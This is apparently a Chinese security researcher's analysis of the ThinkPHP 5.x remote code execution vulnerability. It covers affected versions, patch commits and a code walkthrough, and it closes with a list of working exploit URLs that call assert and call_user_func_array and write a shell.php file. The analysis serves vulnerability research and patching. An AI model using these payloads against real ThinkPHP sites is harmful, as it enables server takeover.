影响范围
5.x < 5.1.31
5.x <= 5.0.23
补丁地址
5.0:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
5.1:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
漏洞分析
请求public/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
测试版本:ThinkPHP V5.1.1
根据补丁可知漏洞点在library/think/route/dispatch/Module.php
可以看到$controller
直接从URL调度中获取。
接着实例化控制器,跟进Controller
方法,对控制器分层,获取模块名和类名。
跟进parseModuleAndClass
,解析模块和类名并返回。并且如果$name
包含了\
,则直接将$name
当作类名,并直接返回。而命名空间就含有\
,所以可以利用命名空间来实例化任意类。
回到controller
方法,会判断类$class
也就是$name
是否存在
不存在会调用parseClass
方法,对命名空间类名等进行拼接并返回,然后会触发自动加载类并返回。
最后会进入invokeMethod
,调用反射执行类的方法,绑定请求的参数
我们请求的是think\request/input?data[]=phpinfo()&filter=assert
,跟进Request
类的input
方法。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
参数可控,因为$data
为数组,则执行array_walk_recursive($data, [$this, 'filterValue'], $filter);
。跟进filterValue
,最终执行call_user_func('assert','phpinfo()')
。
因为windows会把pathinfo的\
替换成/
所以要使用兼容模式下的PATHINFO变量名s。
payload
当然还有很多其他payload,可以通过调用任意类的方法根据源码自行构造,这里只是做个记录。
from:https://xz.aliyun.com/t/3570
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
补丁分析
补丁对控制器进行了正则过滤。
Referer
ThinkPhp5.0x_Getshell_分析
ThinkPHP5 RCE漏洞重现及分析
thinkphp 5.x全版本任意代码执行分析全记录